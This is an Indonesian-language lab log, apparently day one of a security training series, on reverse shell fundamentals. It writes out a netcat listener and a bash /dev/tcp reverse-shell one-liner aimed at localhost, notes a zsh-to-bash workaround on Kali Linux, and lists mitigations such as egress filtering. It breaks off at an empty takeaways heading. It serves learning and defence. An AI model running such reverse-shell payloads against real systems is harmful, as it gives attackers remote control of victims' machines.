Day 1 - [H-01 Lvl 4] Advanced Exploitation: Reverse Shell Fundamentals
Status Akhir: REVERSE CONNECTION ESTABLISHED (Zsh-to-Bash Bypass)
1. Analisis Keamanan
- Ancaman: Remote Code Execution (RCE) via Reverse Shell.
- Definisi: Teknik eksploitasi di mana target (korban) dipaksa untuk melakukan koneksi keluar (outbound) menuju mesin penyerang.
- Vektor Serangan: Teknik ini digunakan untuk melewati proteksi Inbound Firewall yang biasanya menutup semua koneksi masuk, namun mengizinkan koneksi keluar. Ini adalah tahap awal untuk mengambil alih kendali terminal secara penuh.
2. Implementasi Praktik (Internal Lab)
- Metode: Menggunakan
Netcat (nc) sebagai Listener dan Bash TCP Redirector sebagai payload.
- Skenario: 1. Menyiapkan "jaring" di sisi penyerang:
nc -lvnp 4444.
- Mengirimkan perintah "telepon balik" dari sisi target:
bash -i >& /dev/tcp/127.0.0.1/4444 0>&1.
- Temuan: Berhasil mendapatkan interactive shell. Saat penyerang mengetikkan perintah di terminalnya, perintah tersebut sebenarnya dieksekusi oleh sistem target (simulasi localhost).
3. Troubleshooting Log (Critical Update)
- Masalah: Muncul error
zsh: no such file or directory: /dev/tcp/... saat eksekusi payload di Kali Linux.
- Analisis: Kali Linux menggunakan Zsh sebagai default shell, sedangkan fitur virtual file
/dev/tcp/ adalah fitur spesifik (built-in) milik Bash.
- Solusi: Memaksa eksekusi menggunakan interpreter Bash dengan perintah:
bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1".

4. Strategi Mitigasi (Remediation)
- Egress Filtering: Membatasi koneksi keluar dari server hanya ke IP dan Port yang terpercaya (Whitelisting).
- Process Monitoring: Memantau aktivitas mencurigakan di mana proses aplikasi (seperti
php atau apache) mencoba membuka socket jaringan ke luar.
- Disable Dangerous Functions: Mematikan fungsi eksekusi sistem di konfigurasi aplikasi web untuk mencegah Command Injection.
Key Takeaways: